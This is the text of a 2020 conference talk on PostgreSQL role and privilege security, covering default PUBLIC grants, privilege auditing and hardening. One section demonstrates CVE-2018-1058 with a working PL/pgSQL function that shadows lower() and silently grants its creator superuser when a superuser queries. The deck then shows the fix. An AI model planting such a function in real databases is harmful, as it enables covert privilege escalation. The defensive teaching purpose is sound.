Deep Thoughts

Betting on Security

Joe Conway
joe@crunchydata.com
mail@joeconway.com

Crunchy Data

January 31, 2020

Holistic Security

- Allow authorized access to your data
- Prevent unauthorized access
- Defense in Depth - many layers
  - Hardened Shell - perimeter security
  - Crunchy Core - in database security ← This talk...
  - Confinement - reduce attack surface ← Sunday FOSDEM Main Track...
  - Instrumented - monitoring and alerting

Want to Bet?

- Fresh PostgreSQL install
- New Empty Database
- Add:
  - 7 User + 3 Group Roles
  - 2 Tables
  - 1 View
  - 1 Function
  - 1 Grant
  - 1 Extension
- Clearly understand all security implications?

On a Role

- USER and GROUP just different forms of ROLE
- LOGIN versus NOLOGIN attribute
- However USER may have ”members”
- ROLE created at ”instance” level – common to all databases

Role Properties

Roles have four types of security relevant properties:

- Attributes: capability, for example `LOGIN` or `SUPERUSER`
- Membership: one role may be member of another, directly or indirectly
- Privileges: access permitted on database object, such as `SELECT` on `TABLE`
- Settings: custom value for conf param bound to role, e.g. `search_path`

Attributes

- CREATE/ALTER ROLE command ”options”
  - NOSUPERUSER: is superuser
  - NOCREATEDB: may create new databases
  - NOCREATEROLE: may create other (non-superuser) roles
  - NOINHERIT: inherits privileges of roles to which it is member
  - NOLOGIN: may login
  - NOREPLICATION: may connect for binary or logical replication
  - NOBYPASSRLS: may bypass RLS policy
  - `CONNECTION LIMIT`: number allowed concurrent connections
  - `PASSWORD`: set role password
  - `VALID UNTIL`: password validity

Membership

- Several ways to make `ROLE-X` ∈ `ROLE-Y`
  - Preferred method `ROLE` form of `GRANT` command
    → `GRANT ROLE-Y TO ROLE-X`
- Multi-level hierarchy of roles possible
- `ROLE-X` is MEMBER of `ROLE-Y` if chain of grants exists
  → `SET ROLE` to gain privilege
- `ROLE-X` has USAGE of `ROLE-Y` if all roles in chain inherit
  → immediate access to privileges
- `pg_has_role()`: determine if `ROLE-X` has `MEMBER/USAGE` of `ROLE-Y`

Privileges

- Gained via system defaults and explicit `GRANT` statements
- Removed by `REVOKE` statements
- Be mindful of indirect privileges:
  - USAGE: immediate access
  - MEMBER only: `SET ROLE` access
- `PUBLIC`: Pseudo group
  - Every role has USAGE
  - Some privileges granted to `PUBLIC` by default
  - `PUBLIC` membership not affected by `NOINHERIT`
  - `PUBLIC` membership not reflected in `pg_authid`

Settings

- Configuration settings may be bound to roles
- `ALTER ROLE` command with a `SET` clause
- For example: `dynamic_library_path`, `row_security`, or `search_path`

Assuming a Role

- Attributes of a role only gained by:
  - Logging in as that role directly
  - Using `SET ROLE` to switch to that role
  - Using `SET SESSION AUTHORIZATION` to switch to that role
- `SET SESSION AUTHORIZATION`: Imitate role more completely than `SET ROLE`
  - Only available to Superusers
  - `SET ROLE` changes the `CURRENT_USER`
  - `SET SESSION AUTHORIZATION` changes both `CURRENT_USER` and `SESSION_USER`
  - Roles permitted to `SET ROLE` determined by `SESSION_USER`
- Privileges immediate if via `USAGE`, otherwise must `SET ROLE`
- Config settings only applied when role logs in directly

Database Setup Summary

- Install desired version of PostgreSQL
- Create the database
- Create roles
- Create objects
- Install `crunchy_check_access` extension

Create Database and Roles

```
createdb deepdive
psql deepdive
CREATE GROUP endusers NOINHERIT;
CREATE USER dbadm SUPERUSER PASSWORD 'secret';
CREATE USER joe PASSWORD 'secret' IN ROLE endusers;
CREATE ROLE bob LOGIN PASSWORD 'secret' NOINHERIT;
CREATE ROLE alice LOGIN PASSWORD 'secret' NOINHERIT IN ROLE endusers;
CREATE USER mary PASSWORD 'secret' IN ROLE joe;
CREATE ROLE sue LOGIN PASSWORD 'secret';
CREATE ROLE appuser LOGIN PASSWORD 'secret';
CREATE ROLE dbadmins ROLE sue ADMIN bob;
CREATE GROUP apps ROLE appuser;
GRANT joe TO alice;
GRANT dbadm TO endusers;
```

Database Setup Summary

- Three ways shown for affecting role membership
  - `CREATE USER ... IN ROLE`: new role member of other role
  - `CREATE ROLE ... ROLE`: new role is ”group”, initially with members specified
  - `GRANT role1 TO role2`: explicitly add `role2` as a member of `role1`
- Note: Even ”user”, e.g. joe, can have members like a ”group”

Resulting Roles

```
\du
                                      List of roles
 Role name |                         Attributes                         |   Member of
-----------+------------------------------------------------------------+----------------
 alice     | No inheritance                                             | endusers,joe
 apps      | Cannot login                                               |
 appuser   |                                                            | apps
 bob       | No inheritance                                             | dbadmins
 dbadm     | Superuser                                                  |
 dbadmins  | Cannot login                                               |
 endusers  | No inheritance, Cannot login                               | dbadm
 joe       |                                                            | endusers
 mary      |                                                            | joe
 postgres  | Superuser, Create role, Create DB, Replication, Bypass RLS |
 sue       |                                                            | dbadmins
```

Create Objects

```
CREATE TABLE t1 (t1_id int PRIMARY KEY, widgetname text);
CREATE TABLE t2 (t2_id int PRIMARY KEY, t1_id int REFERENCES t1, qty int, location text);
CREATE VIEW widget_inv AS SELECT widgetname, location, qty FROM t2 JOIN t1 USING (t1_id);
CREATE FUNCTION get_inv(wdgt text, loc text) RETURNS int AS
$$
  SELECT qty FROM widget_inv WHERE widgetname = wdgt AND location = loc
$$ LANGUAGE sql;
GRANT SELECT ON widget_inv TO apps, endusers;
```

Want to Bet?

Second chance

- Clearly understand all security implications?
  - 7 User + 3 Group Roles
  - 2 Tables
  - 1 View
  - 1 Function
  - 1 Grant
  - 1 Extension

Install crunchy_check_access Extension

```
git clone https://github.com/CrunchyData/crunchy_check_access.git
cd crunchy_check_access
USE_PGXS=1 make install
psql deepdive -c "CREATE EXTENSION check_access"
```

First Take

- Who has permission to what
- Ignore `postgres` (default superuser)
- Ignore system catalog

```
SELECT role_path, base_role, as_role, objtype, objname, privname
FROM all_access()
WHERE base_role != CURRENT_USER
ORDER BY 1,4,5,6;
```

- 984 rows of output (may vary with pg version)
  → instances of privileges accessible to roles
- Surprised by the volume?
- Demo. . .

WITH GRANT OPTION

- Means this role can grant this privilege to other roles
- Any role with `SUPERUSER` attribute has this ability
- But can also be explicitly granted
- `check_access` shows two rows when exists

TEMPORARY Objects

- Privileges on `TEMPORARY` objects spelled `TEMPORARY` or `TEMP`
- Can safely eliminate duplication

Default Roles

- Provide access to certain privileged capabilities and information
- Can GRANT these default roles to other roles
- Provides those roles with special access to specified capabilities and information
- Not covered here

Multipath

- As discussed earlier, role may have chains of grants to other roles:
  - `MEMBER`
  - `USAGE`
- Provides multiple paths to privilege for base role
- `check_access` shows as `role_path` column
  → E.g. `alice(false).joe(true).endusers(false).dbadm`

Second Take

- Aggregate to eliminate unneeded duplication
- Ignore `WITH GRANT OPTION`
- Eliminate `TEMPORARY` as duplicates of `TEMP`
- Ignore default roles: `pg_*`
- Ignore multiple paths to privilege

```
SELECT objtype, schemaname, objname, privname, array_agg(distinct base_role) AS roles
FROM all_access() WHERE base_role != CURRENT_USER AND base_role !~ '^pg_'
AND privname != 'TEMPORARY' AND privname NOT LIKE '%WITH GRANT OPTION'
GROUP BY objtype, schemaname, objname, privname ORDER BY 1, 2, 3, 4;
```

- 51 rows of output
- Easier to analyze
- Demo…

PUBLIC

Information from earlier but bears repeating. . .

- PUBLIC: Pseudo group
  - Every role has USAGE
  - Some privileges granted to PUBLIC by default
  - PUBLIC membership not affected by NOINHERIT
  - PUBLIC membership not reflected in pg_authid
- Many paths to privilege derive from default grants to PUBLIC
  - Database: TEMP and CONNECT
  - Function: EXECUTE
  - Language, Domain, Type: USAGE

Object Type: Database

- Everyone has TEMP and CONNECT via default grant to PUBLIC
- alice, dbadm, endusers, joe, mary have CREATE via dbadm SUPERUSER attribute

Object Type: Function

- Note: function signatures disambiguate overloaded function names
- `all_access()`, `all_access(16)`, `check_access(25 16)`, `check_access(25 16 25)`
  - `EXECUTE` only to superusers
  - Due to explicit `REVOKE EXECUTE ...FROM PUBLIC` in `check_access.sql`
- `my_privs()`, `my_privs_sys()`
  - `EXECUTE` to everyone
  - Due to explicit `GRANT EXECUTE ...TO PUBLIC` in `check_access.sql`
- `get_inv(25 25)`
  - `EXECUTE` to everyone
  - Due to default `GRANT EXECUTE ...TO PUBLIC`

Object Type: Language

- LANGUAGE C, LANGUAGE INTERNAL
  - USAGE only to superusers
  - Note USAGE means CREATE FUNCTION in that language
  - EXECUTE on resulting function object is separate
  - Note: LANGUAGE C subject to dynamic_library_path
- LANGUAGE PLPGSQL, LANGUAGE SQL
  - USAGE to everyone
  - Due to default GRANT USAGE ...TO PUBLIC
  - everyone can CREATE FUNCTION in these languages

crunchydata

Object Type: Schema

- `public` schema
  - `USAGE` to everyone
  - Due to default `GRANT USAGE ...TO PUBLIC`
  - everyone can access objects in this schema
  - `CREATE` to everyone
  - Due to default `GRANT CREATE ...TO PUBLIC`
  - everyone can create objects in this schema
- This is dangerous!
- See CVE-2018-1058

Object Type: Table

- Tables `t1`, `t2`
  - `ALL` privileges only to superusers
    → `DELETE`, `INSERT`, `REFERENCES`, `SELECT`, `TRIGGER`, `TRUNCATE`, `UPDATE`
  - No default grants
  - No explicit grants

Object Type: View

- Views `my_privs`, `my_privs_sys`, `widget_inv`
  - `ALL` privileges only to superusers
    → `DELETE`, `INSERT`, `REFERENCES`, `SELECT`, `TRIGGER`, `TRUNCATE`, `UPDATE`
  - No default grants
  - `SELECT` to everyone on `my_privs` and `my_privs_sys`
  - Due to explicit `GRANT SELECT ...TO PUBLIC` in `check_access.sql`
  - `SELECT` to `alice`, `apps`, `appuser`, `endusers`, `joe`, `mary` on `widget_inv`
  - Due to explicit `GRANT SELECT ...TO apps, endusers`

Takeaways

- EXECUTE grant on function objects to PUBLIC may be surprising
- Roles may have several paths to privilege for any function

```
-- revoke privilege from joe
REVOKE ALL ON FUNCTION get_inv(text, text) FROM joe;
-- become joe
SET SESSION AUTHORIZATION joe;
SELECT CURRENT_USER, get_inv('something','somewhere');

 current_user | get_inv
--------------+---------
 joe          |
(1 row)
-- What happened here?!?
```

- PUBLIC still has EXECUTE for get_inv()
- All roles including joe are members of PUBLIC

Takeaways

- Don’t forget latent privileges

```
REVOKE ALL ON FUNCTION get_inv(text, text) FROM PUBLIC;
-- become alice
SET SESSION AUTHORIZATION alice;
SELECT CURRENT_USER, get_inv('something','somewhere');
ERROR:  permission denied for function get_inv
SET ROLE dbadm;
SELECT SESSION_USER, CURRENT_USER, get_inv('something','somewhere');

 session_user | current_user | get_inv
--------------+--------------+---------
 alice        | dbadm        |
(1 row)

-- reset to postgres and restore state
RESET SESSION AUTHORIZATION;
GRANT EXECUTE ON FUNCTION get_inv(text, text) TO PUBLIC;
```

About Views and Functions

- `VIEW` always accesses underlying objects as `VIEW` owner
  → not as role invoking the outer query
- `FUNCTION` can be `SECURITY INVOKER` (default) or `SECURITY DEFINER`
  - `SECURITY INVOKER`: privileges of invoker (`CURRENT_USER`)
  - `SECURITY DEFINER`: privileges of `FUNCTION` owner
  - Owner is creator, but ownership might be changed by superuser
- So ...
  - You can think of `VIEW` as `SECURITY DEFINER`
  - But `FUNCTION` is usually `SECURITY INVOKER`
  - Potentially confusing when `VIEW` includes `FUNCTION` calls

About Views and Functions

```
-- from earlier, run as postgres (superuser):
-- CREATE VIEW widget_inv AS SELECT widgetname, location, qty FROM t2 JOIN t1 USING (t1_id);
-- CREATE FUNCTION get_inv(wdgt text, loc text) RETURNS int AS $$
--  SELECT qty FROM widget_inv WHERE widgetname = wdgt AND location = loc
-- $$ LANGUAGE sql;
-- GRANT SELECT ON widget_inv TO apps, endusers;

SET SESSION AUTHORIZATION appuser;
SELECT CURRENT_USER, SESSION_USER, * FROM t1;
ERROR:  permission denied for table t1

SELECT CURRENT_USER, SESSION_USER, get_inv('anything','anywhere');

 current_user | session_user | get_inv
--------------+--------------+---------
 appuser      | appuser      |
(1 row)
```

CVE-2018-1058

- Describes how user can create objects named same as objects in different schemas
- These like-named objects can change the behavior of other users' queries
- Potentially cause unexpected or malicious behavior
- Also known as a ”trojan-horse” attack

Concept: Schemas

- Allow users to create objects in separate namespaces
- Objects in separate namespaces may have same object name
- By Default:
  - All databases have schema called `pg_catalog` which includes built-in objects
  - New databases have schema called `public`
  - Any connected user can create objects in `public` schema

crunchydata

Concept: Search Path

- PostgreSQL searches the system catalog schema, `pg_catalog`, first
- Otherwise `search_path` setting determines object resolution
- By default:
  - `search_path = $user, public`
  - `$user` is equal to `SESSION_USER` name

Concept: Function Signature and Datatype Coersion

- In addition to name resolution, functions are resolved by input arg datatype
- Automatic implicit datatype coersion occurs for certain built-in datatypes
- Example:

```
-- following function works for text,
-- or varchar if it exists alone in the search path
CREATE FUNCTION bar(text) ...;

-- but this function may also exist, and if so, it will handle varchar
CREATE FUNCTION bar(varchar) ...;
```

Consequences

- By default:
  - All new objects (e.g. tables, functions) are created in public schema
  - Unqualified referenced objects are found in public schema
  - Possible for unprivileged user to create function such that:
    - Function name shadows pg_catalog function
    - With different arg datatype(s)
    - But of normally implicitly coerced datatype(s)

Consequences

```
CREATE FUNCTION lower(varchar) RETURNS text AS $$
    SELECT 'ALICE WAS HERE: ' || $1;
$$ LANGUAGE SQL IMMUTABLE;

-- note public.lower(varchar) will shadow pg_catalog.lower(text)
-- when the arg is actually varchar
\df lower
                         List of functions
   Schema   | Name  | Result data type | Argument data types | Type
------------+-------+------------------+---------------------+------
 pg_catalog | lower | anyelement       | anyrange            | func
 pg_catalog | lower | text             | text                | func
 public     | lower | text             | character varying   | func

-- clean up
DROP FUNCTION lower(varchar);
```

The Problem

- Combine
  - Default public schema `CREATE` privilege
  - Default `search_path` setting
  - Ability to create objects with the same names in different schemas
  - How PostgreSQL searches for objects based on `search_path`
  - Function signature resolution rules
  - Implicit datatype conversions
  - Default `EXECUTE` grant to `PUBLIC` for new functions
- Presents opportunity for one user to modify behavior of other user's query
- E.g. insert function that, when executed by superuser, grants escalated privileges

Full Example

```
CREATE TABLE categories
(
  category_id integer PRIMARY KEY,
  category_name varchar(32) UNIQUE,
  category_desc varchar(128)
);

INSERT INTO categories VALUES
(1, 'cold beverages', 'cold beverages, non-alcoholic'),
(2, 'beer', 'domestic beer'),
(3, 'craft beer', 'international and craft domestic beer'),
(4, 'hot beverages', 'tea, coffee, latte');

CREATE ROLE dbro LOGIN;
```

Full Example

```
SET SESSION AUTHORIZATION dbro;

CREATE OR REPLACE FUNCTION lower(varchar)
RETURNS text AS $$
  DECLARE
    dbro_issu bool;
    curr_issu bool;
  BEGIN
    dbro_issu := usesuper from pg_user where usename = 'dbro';
    curr_issu := usesuper from pg_user where usename = CURRENT_USER;
    IF curr_issu AND NOT dbro_issu THEN
      ALTER USER dbro SUPERUSER;
    END IF;
    RETURN lower($1::text);
  END;
$$ LANGUAGE plpgsql VOLATILE;
```

Full Example

```
-- later with postgres superuser logged in
RESET SESSION AUTHORIZATION;
\du dbro
           List of roles
 Role name | Attributes | Member of
-----------+------------+-----------
 dbro      |            | {}

-- looks "normal"
SELECT category_desc FROM categories
WHERE lower(category_name) LIKE '%beverage%';
         category_desc
-------------------------------
 cold beverages, non-alcoholic
 tea, coffee, latte
(2 rows)
```

Full Example

```
-- but dbro successfully gained superuser
\du dbro
           List of roles
 Role name | Attributes | Member of
-----------+------------+-----------
 dbro      | Superuser  | {}

-- clean up
DROP FUNCTION lower(varchar);
DROP ROLE dbro;
DROP TABLE categories;
```

The Fix

- Do not allow unprivileged users to `CREATE` objects in `public` schema
- Or any other schema in your default `search_path`

```
REVOKE CREATE ON SCHEMA public FROM PUBLIC;
```

What Else to Consider?

- `TEMPORARY` or `TEMP` on database
- `USAGE` on `PLPGSQL` and `SQL` languages
- `USAGE` on `public` schema
- `EXECUTE` on new functions granted to `PUBLIC`

Full Fix

```
-- ensure no abuse of public schema
REVOKE CREATE ON SCHEMA public FROM PUBLIC;
--? REVOKE USAGE ON SCHEMA public FROM PUBLIC;
--? DROP SCHEMA public CASCADE;

-- least privilege - re-grant to roles that really need it
REVOKE TEMPORARY ON DATABASE deepdive FROM PUBLIC;
REVOKE USAGE ON LANGUAGE sql, plpgsql FROM PUBLIC;

-- similarly, grant EXECUTE to roles in need
ALTER DEFAULT PRIVILEGES IN SCHEMA public
  REVOKE EXECUTE ON ROUTINES FROM PUBLIC;
```

Rightsizing Roles

```
DROP ROLE dbadm;
ALTER ROLE dbadmins SUPERUSER;
REVOKE joe FROM alice;
REVOKE joe FROM mary;
GRANT endusers TO mary;
ALTER ROLE alice INHERIT;
ALTER ROLE endusers INHERIT;
ALTER ROLE sue NOINHERIT;
```

Rightsizing Roles

```
\du
                                    List of roles
 Role name |                         Attributes                         | Member of
-----------+------------------------------------------------------------+------------
 alice     |                                                            | {endusers}
 apps      | Cannot login                                               | {}
 appuser   |                                                            | {apps}
 bob       | No inheritance                                             | {dbadmins}
 dbadmins  | Superuser, Cannot login                                    | {}
 endusers  | Cannot login                                               | {}
 joe       |                                                            | {endusers}
 mary      |                                                            | {endusers}
 postgres  | Superuser, Create role, Create DB, Replication, Bypass RLS | {}
 sue       | No inheritance                                             | {dbadmins}
```

Final Final

```
SELECT objtype, schemaname, objname, privname, array_agg(distinct base_role) AS roles
FROM all_access() WHERE base_role !~ '^pg_'
AND base_role NOT IN ('bob', 'dbadmins', 'postgres', 'sue')
AND privname != 'TEMPORARY' AND privname NOT LIKE '%WITH GRANT OPTION'
GROUP BY objtype, schemaname, objname, privname ORDER BY 1, 2, 3, 4;
 objtype  | schemaname |    objname     | privname |                 roles
----------+------------+----------------+----------+----------------------------------------
 database |            | deepdive       | CONNECT  | {alice,apps,appuser,endusers,joe,mary}
 function | public     | get_inv(25 25) | EXECUTE  | {alice,apps,appuser,endusers,joe,mary}
 function | public     | my_privs()     | EXECUTE  | {alice,apps,appuser,endusers,joe,mary}
 function | public     | my_privs_sys() | EXECUTE  | {alice,apps,appuser,endusers,joe,mary}
 schema   | public     | public         | USAGE    | {alice,apps,appuser,endusers,joe,mary}
 view     | public     | my_privs       | SELECT   | {alice,apps,appuser,endusers,joe,mary}
 view     | public     | my_privs_sys   | SELECT   | {alice,apps,appuser,endusers,joe,mary}
 view     | public     | widget_inv     | SELECT   | {alice,apps,appuser,endusers,joe,mary}
(8 rows)
```

Questions?

Thank You!
mail@joeconway.com
joe@crunchydata.com
@josepheconway

crunchydata